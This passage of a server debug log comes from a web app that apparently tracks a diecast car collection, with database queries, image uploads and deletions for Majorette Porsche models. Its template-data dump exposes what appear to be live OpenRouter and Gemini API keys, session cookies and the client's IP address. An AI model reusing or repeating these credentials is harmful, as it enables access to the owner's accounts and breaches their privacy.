2026-02-04T11:02:30.391Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:30.391Z server-connect:output identity: 1
2026-02-04T11:02:30.391Z server-connect:app Executing action step restrict
2026-02-04T11:02:30.391Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:30.392Z server-connect:output restrict: undefined
2026-02-04T11:02:30.392Z server-connect:app Executing action step paged
2026-02-04T11:02:30.392Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:30.394Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:33.309Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T11:02:33.309Z server-connect:app Executing action step identify
2026-02-04T11:02:33.309Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:33.309Z server-connect:output identity: 1
2026-02-04T11:02:33.309Z server-connect:app Executing action step restrict
2026-02-04T11:02:33.309Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:33.310Z server-connect:output restrict: undefined
2026-02-04T11:02:33.310Z server-connect:app Executing action step single
2026-02-04T11:02:33.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T11:02:33.310Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_222253_04aae0cd-90c4-446f-a0ce-4b75d10bcc7d.jpg'
}
2026-02-04T11:02:33.310Z server-connect:app Executing action step delete
2026-02-04T11:02:33.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:33.311Z server-connect:output delete: { affected: 1 }
2026-02-04T11:02:33.311Z server-connect:app Executing action step remove
2026-02-04T11:02:33.311Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T11:02:33.311Z server-connect:output fileRemove: true
2026-02-04T11:02:33.525Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:33.526Z server-connect:app Executing action step identify
2026-02-04T11:02:33.526Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:33.526Z server-connect:output identity: 1
2026-02-04T11:02:33.526Z server-connect:app Executing action step restrict
2026-02-04T11:02:33.526Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:33.526Z server-connect:output restrict: undefined
2026-02-04T11:02:33.526Z server-connect:app Executing action step paged
2026-02-04T11:02:33.526Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:33.528Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:33.737Z server-connect:router Serving templateView /
2026-02-04T11:02:33.737Z server-connect:app Executing action step identify
2026-02-04T11:02:33.737Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:33.737Z server-connect:output identity: 1
2026-02-04T11:02:33.737Z server-connect:app Executing action step restrict
2026-02-04T11:02:33.737Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:33.738Z server-connect:output restrict: undefined
2026-02-04T11:02:33.738Z server-connect:app Executing action step restrict
2026-02-04T11:02:33.738Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:33.738Z server-connect:output restrict: undefined
2026-02-04T11:02:33.738Z server-connect:router Render template layouts/main
2026-02-04T11:02:33.739Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:02:37.317Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:02:37.317Z server-connect:app Executing action step identify
2026-02-04T11:02:37.317Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:37.317Z server-connect:output identity: 1
2026-02-04T11:02:37.318Z server-connect:app Executing action step restrict
2026-02-04T11:02:37.318Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:37.318Z server-connect:output restrict: undefined
2026-02-04T11:02:37.318Z server-connect:app Executing action step condition
2026-02-04T11:02:37.318Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:02:37.318Z server-connect:app Executing action step update
2026-02-04T11:02:37.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:02:37.319Z server-connect:output update: { affected: 1 }
2026-02-04T11:02:37.319Z server-connect:app Executing action step upload
2026-02-04T11:02:37.319Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:02:37.319Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:02:37.319Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:02:37.320Z server-connect:upload Processing file: {
  name: 's-l1600 (9).webp',
  data: <Buffer >,
  size: 85118,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-63-20378841770202957316',
  truncated: false,
  mimetype: 'image/webp',
  md5: '02a44c4243da7b0a227f2d7b2b7f9961',
  mv: [Function: mv]
}
2026-02-04T11:02:37.320Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp',
  rel: 'public/assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp'
}
2026-02-04T11:02:37.320Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp',
  rel: 'assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp'
}
2026-02-04T11:02:37.320Z server-connect:output upload_image: [
  {
    name: 's-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp',
    path: '/public/assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp',
    url: '/assets/images/diecast/s-l1600_9_30addef0-d990-4f92-88d8-4b03fabfe2f9.webp',
    type: 'image/webp',
    size: 85118
  }
]
2026-02-04T11:02:37.320Z server-connect:app Executing action step repeat
2026-02-04T11:02:37.320Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T11:02:37.320Z server-connect:app Executing action step insert
2026-02-04T11:02:37.320Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:37.320Z server-connect:output images: { affected: 1, identity: 214 }
2026-02-04T11:02:37.321Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:02:37.321Z server-connect:output condition: undefined
2026-02-04T11:02:37.541Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:37.541Z server-connect:app Executing action step identify
2026-02-04T11:02:37.541Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:37.541Z server-connect:output identity: 1
2026-02-04T11:02:37.542Z server-connect:app Executing action step restrict
2026-02-04T11:02:37.542Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:37.542Z server-connect:output restrict: undefined
2026-02-04T11:02:37.542Z server-connect:app Executing action step paged
2026-02-04T11:02:37.542Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:37.544Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:39.976Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T11:02:39.976Z server-connect:app Executing action step identify
2026-02-04T11:02:39.976Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:39.976Z server-connect:output identity: 1
2026-02-04T11:02:39.976Z server-connect:app Executing action step restrict
2026-02-04T11:02:39.976Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:39.976Z server-connect:output restrict: undefined
2026-02-04T11:02:39.977Z server-connect:app Executing action step single
2026-02-04T11:02:39.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T11:02:39.977Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_221349_69ce9f3d-bb3e-4983-bc0d-f697736643d0.jpg'
}
2026-02-04T11:02:39.977Z server-connect:app Executing action step delete
2026-02-04T11:02:39.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:39.978Z server-connect:output delete: { affected: 1 }
2026-02-04T11:02:39.978Z server-connect:app Executing action step remove
2026-02-04T11:02:39.978Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T11:02:39.978Z server-connect:output fileRemove: true
2026-02-04T11:02:40.191Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:40.192Z server-connect:app Executing action step identify
2026-02-04T11:02:40.192Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:40.192Z server-connect:output identity: 1
2026-02-04T11:02:40.192Z server-connect:app Executing action step restrict
2026-02-04T11:02:40.192Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:40.192Z server-connect:output restrict: undefined
2026-02-04T11:02:40.192Z server-connect:app Executing action step paged
2026-02-04T11:02:40.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
